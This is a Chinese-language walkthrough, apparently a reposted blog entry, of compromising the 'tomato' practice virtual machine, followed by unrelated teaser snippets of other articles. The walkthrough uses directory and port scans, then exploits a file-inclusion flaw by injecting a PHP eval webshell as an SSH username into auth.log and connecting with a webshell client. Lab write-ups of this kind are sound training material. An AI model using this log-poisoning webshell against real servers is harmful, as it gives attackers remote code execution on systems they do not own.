tomato-靶机渗透

news/2024/9/29 5:30:00/

tomato-靶机

一、安装靶机环境

下载双击.ova文件,写文件名路径导入

image-20240729163951152
打开虚拟机用NAT模式

image-20240729164230107

编辑–>虚拟网络编辑器查看IP段

image-20240729164258715

二、信息收集

1.御剑端口扫描查找该虚拟机的IP

image-20240729164847351

访问网站

image-20240729164853240

扫目录

dirb http://192.168.30.130 

image-20240729184105795

收集到目录

/server-status
/antibot_image/
/index.html

访问/antibot_image目录

image-20240729184513313

在目录下找到info.php

image-20240729184632414

查到

根目录:/var/www/html
用户名:webmaster@localhost

查看info.php源代码,提示image参数用于文件包含

image-20240729190126839

三、漏洞渗透

写image参数=linux的系统文件,发现成功显示,确定有文件包含漏洞

image-20240729190309073

2.发现端口没有全部扫描出来,使用这个命令扫描

nmap -A 192.168.30.130 -p-

image-20240729191712482

2211是ssl的连接端口

ssh '<?php @eval($_POST['cmd']);?>'@192.168.30.130 -p 2211

image-20240729193416587

然后在网页端查看ubuntu报错信息:/var/log/auth.log

http://192.168.30.130/antibot_image/antibots/info.php?image=/var/log/auth.log

image-20240729193644266

看到注入成功,然后用蚁剑

URL地址

http://192.168.30.130/antibot_image/antibots/info.php?image=/var/log/auth.log

image-20240729193444317

然后就可以控制整个文件


http://www.ppmy.cn/news/1504703.html

相关文章

大模型是否潜在地进行多跳推理?

人工智能咨询培训老师叶梓 转载标明出处 以往的研究表明&#xff0c;基于Transformer的LLMs能够在参数中存储和检索事实信息&#xff0c;以完成简单提示&#xff0c;例如“Stevie Wonder的母亲是谁”。此外&#xff0c;当必要信息明确给出时&#xff0c;LLMs表现出了显著的上下…

C# Unity 面向对象补全计划 之 类class

本文仅作学习笔记与交流&#xff0c;不作任何商业用途&#xff0c;作者能力有限&#xff0c;如有不足还请斧正 本系列旨在通过补全学习之后&#xff0c;给出任意类图都能实现并做到逻辑上严丝合缝 1.类和对象 在 C# 中&#xff0c;类&#xff08;Class&#xff09;是一种数据结…

电路元件基本知识详解

电路元件基本知识详解 在现代电子技术中&#xff0c;电路元件是构成各种电子电路的基本单元。它们各自具有不同的特性和功能&#xff0c;通过不同的连接方式实现多种多样的电路功能。本文将详细介绍几种常见的电路元件及其基本知识。 ### 一、电阻器 #### 1. 电阻器的基本概…

轻松学EntityFramework Core--数据操作

上一篇文章我们学习了模型创建&#xff0c;接下来我们开始学习数据操作。 一、增加数据&#xff08;Create&#xff09; 假设我们有一个模型类 Student &#xff0c;它映射了数据库中的Student表&#xff0c;当需要向Student表中插入一条数据时&#xff0c;我们可以这么做&am…

接口测试框架中测试用例管理模块的优化与思考!

引言 在当今软件开发的快速迭代环境中&#xff0c;接口自动化测试不仅是确保软件质量的基石&#xff0c;更是推动持续集成&#xff08;CI&#xff09;和持续交付&#xff08;CD&#xff09;的核心环节。测试用例管理作为自动化测试中的重要模块&#xff0c;直接影响着测试的效…

WebVirtMgr管理多台物理机

这篇文章只是讲一讲管理多台物理机遇到的坑&#xff0c;记录一下。目前时间紧张&#xff0c;空余时间再补充细节。 WebVirtMgr管控单台物理机很多文章能搜到&#xff0c;写的也都挺好。 管理多台的具体步骤我没碰到过&#xff0c;只能按照报错去一步步解决。 第一个问题&…

神奇海洋养鱼小程序游戏广告联盟流量主休闲小游戏源码

在海洋养鱼小程序中&#xff0c;饲料、任务系统、系统操作日志、签到、看广告、完成喂养、每日签到、系统公告、积分商城、界面设计、拼手气大转盘抽奖以及我的好友等功能共同构建了一个丰富而互动的游戏体验。以下是对这些功能的进一步扩展介绍&#xff1a; 饲料 任务奖励&a…

C++中指针和引用的区别?

指针和引用的区别&#xff1f; 指针是一个变量&#xff0c;其指向一个地址&#xff0c;本身也占用内存&#xff1b;引用只是个原变量别名&#xff0c;本身不占用内存。指针可以为空&#xff0c;并且可以改变指向&#xff1b;而引用必须初始化且不能再改变。sizeof函数作用于指…